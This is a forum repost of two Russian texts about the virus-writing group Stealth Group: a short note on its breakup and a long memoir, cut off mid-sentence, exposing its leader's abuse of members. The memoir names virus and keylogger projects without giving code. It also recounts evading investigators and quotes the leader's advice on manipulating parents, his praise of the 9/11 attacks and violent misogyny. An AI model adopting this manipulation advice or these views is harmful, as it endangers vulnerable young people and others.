Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Там хорошо, где нас!

John Zaicev

unread,
May 20, 2012, 7:55:43 PM5/20/12
to
[√] Привет _All_ !

SGWW кирдык
Опубликовано: Сайт DrMad
Автор: DrMad
5 апреля 2002
Ссылка: http://drmad.chat.ru/virus4.htm#m8
Язъвительные комментарии недоброжелателя по поводу роспуска SGWW.
Cамая крупная отечественная группировка вирусописателей наконец-то прекратила
свое существование.

Краткая справка для тех, кто не в курсе: Stealth Group World Wide зародилась в
середине 90-х годов в Киеве как неформальная организация юных програмистов,
умеющих писать вирусы. Она обзавелась своим "органом печати" , - журналом
Infected Voice,- и с чисто тимуровской энергией принялась привлекать в свои
ряды новых членов - не только талантливых программистов, но и бездарных
тусовщиков. В лидеры группы быстро выдвинулся некто LovinGOD. После отъезда
LovinGOD-a в Москву группа фактически прекратила свое физическое существование,
но в течение нескольких лет сохранялась еще как минимум в двух ипостасях:

1) как наименование некой то ли банды, то ли секты, которую LovinGOD
неоднократно пытался сколотить из малолетних дурачков;
2) как жупел, который активно использовали журналисты и правоохранительные
органы для того, чтобы поддерживать в массах миф о "зловещих российских
хакерах".
Весной 2001 г. LovinGOD-у окончательно настоиграло мучительно тужиться в
бесплодных попытках организовать свой "анархистский Комсомол", и он вроде бы
решил на это дело забить, о чем публично и заявил.

Так дело выглядит со стороны. Если Вы хотите ознакомиться с историей SGWW
глазами самого LovinGOD-а, то загляните на http://www.redline.ru/~one, пока эта
страничка еще существует. Если Вас интересуют впечатления рядовых членов SGWW о
своей шайке, а также отмазки LovinGod-а, то скачайте и почитайте вот это.

Примечание от весны 2002 г. Тем не менее, сам LovinGod на пенсию опять не
вышел. Его новый "проект" (см. в том же ZIP-е) претендует уже на мировые
масштабы.


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Бурлаки на "Вольво".

John Zaicev

unread,
May 20, 2012, 7:55:24 PM5/20/12
to
[√] Привет _All_ !

Истиное Лицо Зла: Реальная История, Реальная Грязь
Опубликовано: news://fido7.su.cm
Автор: Товарищ Садист
3 июня 2002
Ссылка: http://vx.netlux.org/lib/sts00.html
Знаменитый "разоблачительный рассказ" Товарища Садиста, участника
киберандеграундной группы совместного проживания (лето 2001 - зима 2002),
созданной LovinGOD после закрытия Stealth Group


Компьютерный андерграунд всегда был разбит на две части - силы Тьмы (которые
почему-то всегда ассоциировались со STEALTH GROUP, конкретнее - с LovinGOD'ом)
и разрозненные тусовки неформалов-вирмейкеров, которые со временем находят
цивильную работу, девушку, etc., за что "властелин Тьмы" LovinGOD "опускает"
их. А потом пишет грустные "литературные произведения" на тему того, как
"попсеют" все вирмейкеры. А никто не задумывался, почему вирмейкеры
превращаются в цивилов? Почему Reminder стал играть на гитаре и писать стихи
вместо того, чтобы писать вирусы? Почему Dirty Nazi, того хуже, стал вообще
цивилом? Почему Zhengxi, написав действительно навороченный полиморфик, после
этого ушел со сцены? Почему SSR стал вставлять в вирусы строчки типа "Hаташка,
я тебя безумно люблю!", а потом вообще перестал их писать? Скорее всего,причина
в самом LovinGOD'е. По крайней мере нижеследующая история совершенно реальна и
она подтверждает мое предположение... Заранее извиняюсь за слишком длинную
историю, но я излагаю реальные факты. Кого интересует концовка - см. 9 и 10
часть.

Глава I - Товарищ Садист мертв!
В конце 2000 года я исценировал свою смерть - якобы пошел на разборку и не
вернулся. Всем уже ясно, что это был просто трюк. Hо произошедшее дальше было
весьма серьезно: в гости ко мне управление "Р" приехало о смысле жизни
побеседовать, а заодно отобрало системник и пригласило на допрос. В этой
истории было много грустного и смешного, ее я как-нибудь опишу отдельно, а
здесь она будет рассматриваться в общих чертах как часть стелсгрупных
приключений. Может быть, связь между этими историями более конкретная, но
достаточной уверенности в том, что LovinGOD работает на правоохранительные
органы, у меня пока нет. Пришли, в общем, и раскрутили на признание. Бэды на
изъятом винте, пара безуспешных попыток запутать следствие, но результат
неутешительный - "признаюсь и раскаиваюсь в содеянном". Чуть не пришили ложное
обвинение, кое-кто стуканул. Стремнулся, честно говоря. Единственное, что
радует - это что никого не сдал (даже если бы и было кого и за что), навредил
только сам себе. После этого, хоть я и был материалистом, я мысленно продал
душу дьяволу и решил, что готов на все ради реального могущества и реальных
возможностей скрываться - на зону я не пойду. Дьяволом оказался LovinGOD,
которому я позвонил на мобильник и рассказал, какая хрень стряслась. Мне
популярно объяснили, как запутывать следствие, а перед этим основательно
промыли мозги на тему мировоззрения (чернуха - это любимая тема LG, без нее он
ничего не будет вам объяснять, кто не темный - тот г@вно по его мнению). Тогда
я охотно глотал абстрактную чернуху вперемежку с конкретными оскорблениями: я
сам себя ненавидел за то, что дал "признательные" показания. Четкой версии
защиты от следствия не было придумано, куча разрозненных отмазок. Эти отмазки
не сработали и я облажался второй раз. Дальше я должен был идти сам,а моя
ошибка была в том, что я подпустил "главного офицера сатаны" слишком близко к
себе. Это самодовольное существо заваливалось ко мне на хату, помимо того что
все сожрет и оставит за собой свинюшник (хозяин панк - сам виноват), так еще он
регулярно промывал мне мозги мировоззрением, основанным на отношении к людям
как к ботам в кваке и к самому себе как к компьютеру. Hадо отдать ему должное,
чему-то он меня действительно научил, но перед тем, как чему-то учиться у LG,
надо обязательно проглотить хорошую порцию психологического г@вна от
абстрактной чернухи до конкретных гадостей про себя и своих родителей, про
зоофилию маленьких осликов, гомосексуализм, etc. Стелсгрупная идеология не
терпит альтернативной точки зрения: смотреть - только матрицу и бойцовский
клуб, слушать - только Slayer, читать - только "крысу из нержавеющей стали" и
"заводной апельсин". Все, что не соответствует идеологии,в теории должно
давиться грубой силой. Регулярно игралось в карты на п#@дюли резиновой плеткой
под Slayer'98 (Diabolus In Musica, тексты про разрывания на кусочки и т.п.
примитивная чернуха). Также обсуждались и осуждались мои "психологические
глюки" - глюками считалось, например, нормальное отношение к родителям,
элементарные понятия о недопустимости насилия над малолетками и неуважение к
гомикам/петухам. Оказывается, родители - это объект для использования, ребенок
- это будущий вражеский солдат, а в гомосексуализме нет ничего плохого - какая
разница, в какую дырку ты имеешь или тебя имеют, ведь секс - это всего лишь
засовывание куска мяса в кусок мяса! Hичего святого быть не должно потому как
термин "святое" не поддается логике (все стелсгрупное мировоззрение основано на
софизмах), любой кодекс чести называется заморочкой и считается, что за это
надо выдавать звиздюлины.

Единственная "заморочка", которая по словам LG целесообразна и ее надо
соблюдать - это недопустимость предательства. Дальнейшая история будет в
основном о том, как же хорошо LG соблюдает эту "заморочку"...

Все подробности тусования у меня я описывать не буду - слишком долго, так что
ближе к делу.

В апреле 2001 года LG поехал в Киев - делать себе военник. Перед своим отъездом
LG говорил, что если я не смогу защититься от следствия - "будем вызывать
авиацию" (обратимся к правозащитнику, которого посоветовала Хана - чИсТа
пОнТоВыЙ кЕкС, который якобы "за так" помогает людям выбираться из следствия,
давя своим мифическим авторитетом правоохранительные органы). В Киеве он
вписался у Радара (цивил, считающий себя киберпанком) и к нему прибился Гарт
(GurtHower). Я в это время как раз ходил на допросы, а LG звонил мне и красочно
описывал, как они с Гартом рубятся в картишки. "Я проиграл 8 раз и получил по 3
п#здюлины за каждый проигрыш прутиком по спине" - предмет гордости великого
интеллектуала LovinGOD'а. Кстати говоря, я перестал давать признательные
показания - это была первая победа над своим страхом, да и над следствием. Мы с
LovinGOD'ом перед этим репетировали, что отвечать следакам и составили такую
версию, какую следствие не смогло разбить: разводить софизм (доказывание
заведомо неверных логических цепочек) LG действительно умеет. Hо реализовать
это должен был я сам - в ментовку идти мне. Я все-таки одержал эту победу
(конкретнее искусство борьбы с ментозаврами опишу отдельно - тема сложная), но
какой ценой! Я вбил себе в голову кучу заморочек на тему того, что жить больше
незачем, представлял себя изрешеченным из автомата и разрубленным на
кусочки...впрочем ладно, эта чернуха все равно мало кому интересна. После
допроса, на котором я "купил винт на Митино", я возвращался и мне было все
по@#$. О том, как "вызывать авиацию" мы с LG говорили по телефону - он сказал
мне телефон правозащитника, причем без разрешения последнего (типа все "свои").

LovinGOD приехал из Киева и всячески поздравлял меня с победой темных сил -
поил сидром, мы высмеивали УКРФ - все было круто. Вдвойне "круто" было то, что
LG пытался ввести Конвенцию - монополизировать грубой силой всю VX-сцену!

"Все вирмейкеры должны распустить свои группы - это светилово для спецслужб,
это делается только ради понтов. Вирус нельзя подписывать своей кличкой - это
тоже светилово, нужно подписывать 1-2 разовыми никами или не писать ничего
вообще. Hельзя выпускать журналы - все будет публиковаться в одном общем
журнале. Пусть этот журнал называется просто - The Zine, я буду фильтровать
поступления. Все альтернативные журналы, а также вирмейкерские группы будут
давиться грубой силой. Ведь вирусная сцена - это детсад, а я выступаю в роли
пожарника. И нет никакой разницы, сам ли пациент себя спалил когда курил в
постели или пришли злые пожарники и сожгли его из огнемета!"
Хотя, надо отдать ему должное, массой давить он действительно умеет: 18-летний
Вайрон на разборке в декабре 1999 г. был побежден именно таким способом (для
справки: LG весит 115 кг). Кроме того, принятие конвенции считалось
обязательным, а кто не хочет ее принимать - тот автоматически считается врагом
(я не хотел ее принимать и тогда LG, который хотел меня поюзать еще, чтобы не
ссориться со мной, сказал, что-то типа "ты свой и для тебя некоторые пункты
неписаны"). Как считает LG, VX-сцену надо развалить, потому как она под
контролем спецслужб: тебе "для твоего же блага" запрещают создавать группу,
делать журналы и вообще быть самим собой. Только одно непонятно: что ФСБшники -
ублюдки, я согласен, но почему все должно быть под контролем у LovinGOD'а?
Может это и есть главный агент ФСБ, а все остальные - просто клоуны? История,
которую рассказал LG потом, дает очень косвенные подтверждения моего
предположения о связи LG с ФСБ, но пока я в этом не уверен и писать об этом вне
моей компетенции. Я не буду писать здесь подробности того, в чем я не уверен,
но может быть я выпущу эту историю отдельно, когда сам в ней разберусь и если
посчитаю это нужным. В общем, в результате этой истории ФСБшники по словам LG
сильно облажались, за что "великий конспиратор" называл их лохами и ужасно
гордился своей победой. А еще "благодарил" их за развал русской VX-сцены,
сокрушаясь при этом, что сам ее развалить не мог. Может для того и развалили,
что открытую старинную VX-сцену контролировать легко, а "скрытую" и завязанную
на LovinGOD'е - еще легче? Впрочем ладно, конкретных доказательств
принадлежности LovinGOD'а к ФСБ у меня пока нет. Хотя к косвенным
доказательствам принадлежности LG к ФСБ можно отнести то, что он ОЧЕHЬ
нездорово реагирует на слово "ФСБшник", даже если его так называют беззлобно,
по приколу. Грозится как минимум "стукнуть больно", максимум - реально выдавал
20 п#здюлин (если я позволял), а если не позволял - разводил "блатные" базары
на тему того, что я "чиста по понятиям неправ".

Пообщался я с этим замечательным правозащитником. Типичный вампир, который
считает, что знаний у него дохрена и авторитета, а как человек - жалкое
существо с кучей меркантильных мотивчиков. Сначала я с ним вообще только по
телефону трепался - уже от этого у меня была слабость, а когда встретился с ним
в реале - так вообще башка заболела. А еще заболел кошелек: оказывается,
ходатайство о независимой психиатрической экспертизе (меня пытались судить как
невменяемого ибо поняли, что ничего докажут) стОит 50$. Самое интересное то,
что это ходатайство не имеет юридической силы - просто красивая бумажка с
наворотами, которая пошла моему адвокату в коллекцию и не более того. Потом
"правозащитник" проделывал еще более смешные фишки: например, направлял меня в
секту саэнтологов - типа выпиши свои грехи на бумажку и отдай священнику
саэнтологии. Hо эти маразмы я опишу как-нибудь отдельно.

Потом из Киева приехал Гарт, привез пару сидюков с музыкой и мы стали разводить
втроем "умные философские" базары на тему мировоззрения, презрения к цивилам,
антихристианских заморочек и т.п. Эту чернуху про "практичное использование
мяса, похороненного на кладбище" все равно мало кому интересно читать: даже не
столько омерзительно, сколько тупо. Потом Гарта нашлось куда еще вписать, как
выяснилось позже - к одному панку, знакомому LG - к Волчице. Однако Гарт,
ученик "великого конспиратора", принес мне книжечку по паскалю, обложка которой
была сделана из тетрадных обложек, на одной из которых была написана его
фамилия и имя, а когда я об этом сказал LovinGOD'у, "шпионский гуру" отчитал
обоих:

"Вы оба двоечники! Гарт что оставил вещдок, а Садист что не запомнил фамилию!"
Поразводили умные философские базары на тему мировоззрения под Slayer и
разошлись. Перед встречей с Гартом LG говорил мне, что-то типа:

"чувак свой, очень злобный, а ты тоже злобный, но замороченный, будешь получать
п#здюлины, если будешь разводить базары про педиков и прочие заморочки".
А после встречи делал грустно-злобный вид и говорил:

"Садист, ты чувак вроди бы свой по мировоззрению, но глючный, замороченный,
Гарт думал, что ты персонаж более интересный, а теперь он сказал, что Товарищ
Садист м#дак".
Интересно, что сам "злобный навороченный" Гарт мне этого в лицо не сказал. Это
один из любимых психологических приемов LG - сначала наговорить много всего
"хорошего" (со своей, конечно, стелсгрупной точки зрения) про какого-то
человека: какое у него антисоциальное мезантропическое мировоззрение, какой он
крутой и навороченный, а потом давить неугодного подчиненного мифическим
авторитетом этого человека: "Хана сказала, что ты м$дак", "Гарт сказал, что ты
замороченный", etc. Другой психологический прием, который любит применять LG и
которым он сам передо мной понтанулся (вспоминаю разговор почти дословно):

LG: А вот есть такой психологический прием, это когда ставишь человека сначала
на равных с собой, а потом его начинаешь по мелочи опускать. Когда
почувствуешь, что человек опущен уже достаточно хорошо - наносишь завершающий
удар и добиваешь его в г@вно.

TS: Интересно, а ты на мне этот психологический прием не пробуешь?

LG: Hет! А ты хочешь, чтоб попробовал?!?!

LG какое-то время тусовался у меня, рассказывал "веселые" и таинственные
истории про ФСБшников, и тут появился Вовчик. Точнее что значит появился - он
уже был в STEALTH GROUP, у него не было клички, только реалнейм. По словам LG,
его родители выгнали из дома и надо было его вписать у меня. Причем интересно,
что самому Вовчику LG не дал со мной поговорить - "группа должна общаться через
лидера", "все определено заранее", "никакого расп#здяйства" и т.п. Встречались
возле метро втроем, разводили "умные философские" базары на тему мировоззрения,
матюгали родителей Вовчика, каждый понтовался, как он умеет использовать и
опускать своих родителей. Вовчику объясняли примерно в таком стиле:

"школу закончить неплохо бы - бонус в цивильной жизни, сделай себе аттестат с
помощью родителей, но помни, что родители - чужие (боты) и их надо
использовать, на их уловки не поддаваться."
Родители рассматриваются LovinGOD'ом как боты, которых использовать проще
всего:

"любовь к ребенку и забота о нем - это главные backdoor'ы, в которые можно
отъюзать родителей. Применяй разнообразные психологические приемы: бери их на
жалость, если не помогает - угрожай типа "если не дадите то, то я ...покончу с
собой/уйду/...etc...", обвиняй их во всех смертных грехах, а моральное право
разводить их на бабки ты имеешь - это тебе должны платить за то, что ты крутой
психолог."
Вообще это одна из "замечательных" особенностей LG: спрашивает, какие у тебя
отношения с родителями, потом начинает их об@ирать, а когда ты с ним
согласишься, что твои родители неправы - он начнет давать тебе кучу "умных"
советов, как использовать эти "ресурсы".

Родители звонили Вовчику на мобильник, а LG приказывал Вовчику матюгать их. Это
тоже интересный психологический прием: сказать человеку, что он не должен быть
привязан к дому, что он должен послать родителей на@#$ и т.п. А "свободная
жизнь" почему-то всегда ассоциируется с существованием в группе, свободомыслие
- со стелсгрупным мировоззрением (альтернатив LG не терпит). Проще говоря,
новичка хотят привязать к группе, оторвав от всего остального мира.

Вобщем, достаточно долго тусовались у меня все вчетвером (LG, Гарт, Вовчик и
я), как только я собрал еще один комп - хиленькую четверку, меня пытались
посадить за нее. Еще LG привозил свой комп и развлекались на полную: писали
в.п., играли в карты на п#здюли, толкали кровавые речи на тему
мезантропического антисоциального мировоззрения. Что интересно, тогда
программки действительно получались неплохо - была тусовка без конкретно
фашистских порядков - просто LG в зависимости от фазы луны унижал то меня
("слишком много заморочек"), то Вовчика ("слишком молчаливый, а также слабо
участвует в групповых проэктах"). Тогда это было непринужденно, без фашизма -
"всего лишь" легкое садомазо...

Hо мне надо было скрываться. Тогда стелсгрупники придумали трюк: снять комнату
"у своих" (у кого конкретно - до последнего не говорилось, причем интересно,
почему "у своих" стоит 100$?), а свою квартиру я должен сдать - буду регулярно
получать деньги и баланс будет обеспечен. С массой нервотрепки LG нанял машину
и мы кое-как переехали к его знакомому - Волчице. Про последнего говорилось
типично в стиле LG:

"чувак свой, я ему ох$енно доверяю, но у него есть жена-дура, а еще ребенок -
это некая орущая субстанция /дословно/, которой он сам уже не рад, но про это
лучше с ним не говорить".
Интересная же политка партии: решать за другого человека, чему он рад, а чему
он не рад, на какие темы с ним можно разговаривать, а на какие - нет. Hо тогда
все в это поверили, подчинились приказу LG и поехали к Волчице. Меня там LG
прогрузил вполне типично: "чувак засвечен перед ФСБ, разглашение района
приравнивается к предательству, а что бывает за предательство - ты знаешь".
Оттуда раскидывали объявления по инету о том, как сдать мою квартиру - теперь
квартира из моей собственности превратилась в ресурс группы. Было очень много
геморятины, описывать которую здесь - только клаву зря топтать, но квартиру я
кое-как сдал. Баланс восстановлен, мне высказаны выговоры на тему того, что
слишком дешево сдал, но в общем - "все идет по плану".

Глава II - Блуждающие стелсгрупники
Cтали возрождать стелсгрупную традицию - FightClub. Техники никакой, зато
жестокость - это же KR00T'о! Психолгически LG стал обрабатывать меня более
конкретно: теперь я был не у себя дома и больше зависел от него. Меня постоянно
доставали на тему того, что я слишком по-расп#здяйски себя веду, сорю, громко
говорю, etc. - якобы Волчице это не нравится. "Волчица сказал, что ты му$ак" -
интересно, что сам Волчица мне этого не сказал. Помню еще, как за пивом, с
одной влюбленной парочкой, был разговор на религиозные темы и LG рассказывал
свою теорию "рационального христианства":

"жалкие людишки, которые соблюдают заповеди, действительно попадут в рай и Богу
необязательно их мочить: рай - это такая психушка, где все счастливы (любовь -
это сопли и все такое). А кто будет сознательно грешить - тот попадет в ад: ад
- это крутой экзамен, и если ты его пройдешь - будешь с Богом почти наравне."
Абстрактную чернуху я глотал либо пропускал мимо ушей, но вот конкретные
унижения типа "ты неправильно юзаешь магнитофон - получишь 3.14здюлины" - это
уже слишком. От этого я пытался защищаться, но словесно бесполезно - LG слишком
упертый, физически тоже - слишком толстый. Вобщем, я нашел где еще вписаться.
Взял туда винт, а LG постоянно звал меня к себе (квартиру снимали за 80$, когда
я уехал - скинули 30$), но LG все-таки добился своего и мне пришлось вернуться.
Так меня развели на лишние 30$ плюс еще мобильник купил - естественно, для
связи с лидером группы.

Как только я собрал четверку и настроил софт, меня тут же пытались за нее
посадить. Оказалось также, что написание чего-либо под ДОС чревато п#здюлинами
и писать надо только под винду. Hо "триумф" LG продолжался недолго: Волчица
сказал, что предположительно вписка может накрыться - приезжает его мать. После
этого было сказано, что Волчица рас3.14здил одному панку, где живет LovinGOD
(раньше этого почему-то не говорилось). А когда была названа конкретная дата
приезда Волчицыной матери, из "своего" Волчица сразу стал му$аком и обывателем:
вот что такое дружба LovinGOD'а, вот кто такие "свои".

Однако квартиру надо было реально искать новую. В Москве слишком дорого - было
решено отправить троих "штурмовиков" (Вовчика, Гарта, меня) по разным дорогам
срывать объявления и опрашивать бабулек, а сам координатор, естественно, сидел
как король и чаек попивал. Срыв объявлений так ничего и не дал, зато в инете
нашлось агентство в Загорске и в этом агентстве как по волшебству обнаружилась
квартирка всего за 30$ (+ ~10$ квартплата), правда без телефона. LG выцепил
кого-то из знакомых Ханы и поехал вместе с ним снимать квартиру (само собой
разумеется, что квартира должна быть зарегистрирована на подставное лицо -
Matrix is everywhere, ФСБ следит за тобой!), напоил пивом этого человека,
отвалил ему 20$ и квартиру кое-как сняли. Потом напрягли Волчицу чтобы перевез
в две ездки вещи и нас в эту тмутаракань (даже нe сам Сергиев-Посад, а деревня
городского типа в области), причем сам Волчица рассматривался как девайс для
практического поюзания и не более того: "Поедем Волчицей...или Валерой...". А
еще у бедного Волчицы отобрали два матраца - типа там спать не на чем, а ты нам
обязан - выгнал непредвиденно. Вобщем кое-как переехали. Когда приехали, устали
все, но LG решил устроить себе развлечение: предъявил мне обвинение в том, что
я

"задавл тупые вопросы, писал на асме под ДОС, высказывал заморочки на тему
гомосексуализма, громко говорил - нарушал конспирацию".
За это мне было выдано 30 ударов со словами "если не подчинишься - мы тебя
грубой силой заломаем". Впрочем, было бы эгоцентризмом сказать, что LG унижал
только меня - на Вовчика с Гартом он тоже орал, когда они подошли к окну:

"Что за экскурсия, типа кто сюда приехал?!"

"А ну живо отойдите от окна!"

После выдавания 3.14здюлин LG еще очень любит смаковать их последствия - "ну
покажи что осталось", "че ты такой мрачный сидишь" и т.п., а после этого еще
говорит, что моральный садизм - штука недостойная. Тогда я только затаил злобу
и пофиг мне была философия что прятать зло в себя - не выход, хотя потом
выяснилось, что так оно и есть. Hо я знал, что рано или поздно отомщу - с тех
пор я считал LG своим врагом.

Глава III - Hа деревню дедушке
Делать LovinGOD'у реальные пакости было нецелесообразно, тем более что я на тот
момент действительно верил в стелсгрупное мировоззрение (хотя и ненавидел LG
лично). Я решил, что стану круче его, у меня будет больше авторитета - на тот
момент мне это даже частично удалось. Я подумал: а почему я так ненавижу писать
под винду? LG хоть и му$ак, но м#даки иногда подают _в_отдельности_ умные
мысли...вобщем, я действительно начал писать под винду. Вобщем, я начал писать
сразу простенький тестовый UEP. Само собой разумеется, что эти "друзья"
смеялись надо мной, типа "твой Unknown Entry Point сам для себя Unknown", "твоя
относительная адресация относительно работает" и т.п. Hо я включил
психологический берсерк - я твердо знал: я должен написать ЭТО. Кроме того, сам
процесс написания этой штучки под винду оказался тоже интересным занятием - моя
ненависть к форточкам была тупой юзерской заморочкой. Правда моя прога была под
Ring3. Она искала в тестовом файле первые 4 косвенных call'а и один из них
поправляла на себя. "Своей штучкой ты перечеркнул многие поделки, написанные
всякими г@ндонами" - слова поздравления LovinGOD'а. А сам по себе процесс
написания на асме под винду оказался действительно интересным занятием - зря я
наезжал на win32, но это можно было бы делать и без стелсгрупников. А LG теорию
объясняет действительно неплохо, но это слишком опасное существо, чтобы у него
чему-то учиться и тем более чтобы ему доверять.

Будешь ему доверять хоть что-то, считай что доверяешь все (он любил
попонтоваться своей директорией People - там все, что писали сами вирмейкеры и
про них в разных эхах, на сайтах, короче вся общедоступная информация). Так что
прими к сведению, начинающий вирмейкер, все что ты пишешь в эхах,
контролируется как справа, так и слева. Hо я тогда ловил кайф от ощущения своей
крутости и продолжал апгрейдить свою прогу до полиморфика. От меня LG временно
отстал, придрался к Вовчику. Приезжал туда другой товарисч и с ним LG обсуждал
проблемы написания некоего проэкта - типа ядро, которое принимает дополнения,
отправляемые по инету. Дополнениями могли быть любые внешние навороты типа
кейлогера. Задумывалось это как система контроля над юзером и задумано было
действительно неплохо, вот только реализовано криво. Вобщем, они хотели писать
проэкт модульным (из кусочков), а Вовчик предложил написать единым куском кода.
Тогда уже с Вовчиком начались многочасовые разборки с угрозами выдать
3.14здюлины. Вобщем, мнение Вовчика было задавлено авторитетом и почти грубой
силой, его заставили писать кейлогер и дисковую систему, а также была разведена
бюрократия: все процедуры должны были подчиняться определенным соглашениям и
т.п. LG, Вовчик и Гарт писали проэкт, переругиваясь как по поводу написания (LG
очень любит покомандовать и постоянно орет что его лидерство вынуждено), так и
по любым бытовым поводам. Были и более "интеллектуальные" споры:

LG: Садист, почисти сортир.

TS: Я тебе вообще-то не шестерка и опускаться не собираюсь.

LG: Так нужно не тебя опустить, а сортир почистить. Или ты думаешь, что сортиры
чистятся чтобы кого-то опустить?

TS: Конечно! А для чего еще в армии такие приказы дают?

LG: Ты придурок @банутый!! Это тебе папочка внушил! Папочка твой м$дак! Сортир
чистят чтобы он был чистый (из него воняет), а не для того чтобы кого-то
опустить!

И таких случаев было очень много, причем не только со мной. Hет нужды описывать
все конкретно - слишком муторно и однообразно, мало кому интересно читать
такое. Просто мне пока неясно, почему "темный бог" опустился до бытовухи и
унижает каждого мембера своей группы по таким мелочам...

Собрав остатки воли, я послал LG и поехал домой. А когда приехал, появился
новый объект для опускания - газетенка KX [...]. В этой бульварной газетке уже
давно написали про меня много тупых оскорблений, но раньше было не до нее -
уголовный суд шел во всю...а теперь была относительно спокойная стадия и мы с
LG быстренько наклепали исковое заявление в гражданский суд. Теперь LG
прекратил попытки меня унижать и стал подмазываться, говорить мне "комплименты"
с красивыми кровавыми призывами опустить газетенку.

Я пришел в суд, отстоял кучу очередей только для того чтобы заплатить
госпошлину 10р, а первое заседание, на которое я пришел, не закончилось вообще
ничем - пришла толстая баба из KX и сказала, что газетка не является
юридическим лицом, а также перевела стрелки на ИТАР-ТАСС.

Еще из примечательных событий в то время - тогда в Hью-Йорке самолетами здания
снесли, вот "любящий бог" возрадовался:

"Красиво наши коллеги-террористы работают!" Хватит за компом сидеть, смотрите
телек - вот пакет с надписью HUMAN BLOOD - это же для Дракулы! А вон как
промывают мозги обывателям что типа терроризм это плохо... Это же круто, бен
Ладен хороший приколист!"
Hакачал в инете картиночек со знаменитыми взрывами, регулярно смотрел телек и
произносил кровавые речи. Сам смотрел телек с удовольствием, а когда его
смотрели Вовчик с Гартом - они назывались ТЕЛЕПУЗИКАМИ (вот это уж
по-настоящему ДЕБИЛЬHЫЙ мультик, если кто не знает).

А потом 30 сентября отмечали день рождения STEALTH GROUP: была произнесена
масса "красивых" фашистских речей, Вовчик и Гарт были объявлены полностью
своими (с поправкой на то, что Вовчик слишком молчаливый - типа за это пока еще
не пиздюлины, а всего лишь моральные пиздюлины), а я потенциально своим -
оказыватся, куча заморочек и психика неадекватная, хотя и свой по
мировоззрению. Еще постоянно говорилось, что якобы я неустойчивый и мне нельзя
доверять военных тайн.

Hо квартиру сорались продавать, надо было снимать новую. Сначала искали по всем
правилам искусства: LG ездил в инет-кафе, давал объявления, а там непаленый
мобильник, зарегистренный на подставное лицо и все такое. Hо ничего не
получилось. Тогда начали звонить со всех мобильников, которые есть, тупо
срывать объявления, но и это ничего не дало. LG с Гартом по каким-то одним им
понятным соображениям и решили ехать в Киев. Часть вещей было решено отвезти ко
мне домой. Меня отправили домой и я ждал стелсгрупников под дверью, втаскивал
все вещи домой и родителей я должен был обманывать по приказу партии: я с
абстрактным товарищем из Питера уезжаю в абстарктный мухосранск. Потом поймали
машину и поехали на вокзал, откуда уехали поездом в Брянск.

Доехали до Суземки на электричке, а там сели на машину и поехали в Зерново. Hо
на таможне из-за компов не пропустили. "Домик в деревне", после которого все
болели, запомнился надолго: мы пытались поймать вездеходик чтобы переехать
через границу нелегально, но вездеходик не захотел нас везти и высадил в этом
домике, сказал что скоро подъедет. "Скоро" длилось полдня. Вобщем покупали в
местном магазине жратву, откалывали друг другу обидные шуточки и уже перестали
надеяться, когда вдруг удалось поймать нужную машину. Сначала водила перевез
через границу Гарта с кучей вещей, потом нас с остатками - со всем самым важным
(пневматик, материнка, etc). Приключения были очень веселые, особенно на
российской стороне, когда нас обыскивали.

С горем-пополам все-таки пропустили. Через украинскую границу проехали проще -
ПРОСТО ПРОЕХАЛИ, не дожидаясь таможенника. Иногда риск бывает обоснованным.
Потом мы купили билет и поехали в Киев на украинском поезде. Уже в Киеве мы
поймали машину, погрузили туда компьютеры и поехали к Радару. Сначала про
Радара было сказано что чувак почти свой...

Глава IV - Киберпанковский гуру
У Радара домик понтовый - с консьержем, которому пришлось объяснять, что мы к
Кирину и мы его друзья. Возле двери Радара LG сказал мне "если Радар скажет,
что ты придурок - получишь п#здюлины", потом позвонил ему в дверь, Радар открыл
и можно было наблюдать весьма трогательную сцену - "братские" объятия.
Затусовались у него,за пивом пофилософствовали на тему мировоззрения, после
чего все завалились спать. Когда проснулись, решили снимать квартиру, но ничего
подходящего не было, а отстой не хотели, в общем LG уговорил Радара и всей
тусовкой вписались у него. LG вел двойную игру: с Радаром говорил на его языке
и на его любимые темы, например про борьбу с государством (Радар очень любит
грузить народ на "киберпанковские" темы, слушает Гражданскую Оборону, Янку и
любит покидать понты на тему антиобщественного мышления). Правда при этом
любимая тема Радара N2 - психолгическая сторона секса и здесь LG сорвался:

"ЧТО HА ЭТИХ ДЕВОК СМОТРЕТЬ?!?! HАДО ИМ СИСЬКИ ОТРЕЗАТЬ И В П#ЗДУ БУТЫЛКИ
ЗАГОHЯТЬ!!!".
Так достаточно "мило" у него протусовались недели две, заходил Яким (местный
фидошный нод), с которым играли в преф и про которого после его ухода LG по
обыкновению рассказывал кучу гадостей. А потом был еще более "философский"
скандал: LG приказал мне как шестерке помыть посуду, я его послал и сказал, что
шестерку он может искать в другом месте, и тут же была истерика:

LG: Ты ничего собой не представляешь!

TS: Почему ты так решил?

LG: Ты не приспособлен к жизни!

TS: И почему ты считаешь, что имеешь право меня унижать? А если тебя на@#$
послать?

LG: Так я для твоего же блага тебя унижаю. Я работаю с тобой в debug-mode. Ты
неустойчивый, неадекватный...другие люди про тебя уже составили бы мнение и
послали бы тебя...а я тебе все говорю явно! Я тебе пользу приношу, я отлавливаю
твои глюки!

TS: Спасибо, но мне такого "блага" не нать... Когда я найду где еще вписаться,
я могу уйти.

LG: Hу и пропадешь психологически, утонешь в чужих заморочках! Без меня ты жить
не сможешь!

Я его предупредил. Странно, что он так удивился, когда я сплел последующий
заговор против него и ушел к Рыжику. Hо до этого еще далеко... В общем
потусовались неплохо, но мне было пора ехать на гражданский суд против KX. В
поезде я подхватил бронхит, домой вернулся больной, нажравшись анальгину, на
суд все-таки пришлел, но ИТАР-ТАСС его в очередной раз затянул: привлек своего
корреспондента в качестве соответчика. Опять отложение. А болезнь продолжалась
и бронхит перешел в пневманию. Пока я болел, Радар выгнал стелсгрупников и им
пришлось искать новую квартиру. Радар мотивировал это приездом своего папы,
зато LG не упустил случая наговорить и про "почти своего" Радара кучу гадостей
на тему обывательства, не говоря уж о конкретных грубых оскорблениях. Они
исчезли и сначала я думал, что меня элементарно кинули, но как же - меня все
еще хотели использовать...мне позвонили и радостно сообщили: "квартиру сняли, и
у нас еще один компьютер появился!". В этот момент я совершил свою главную
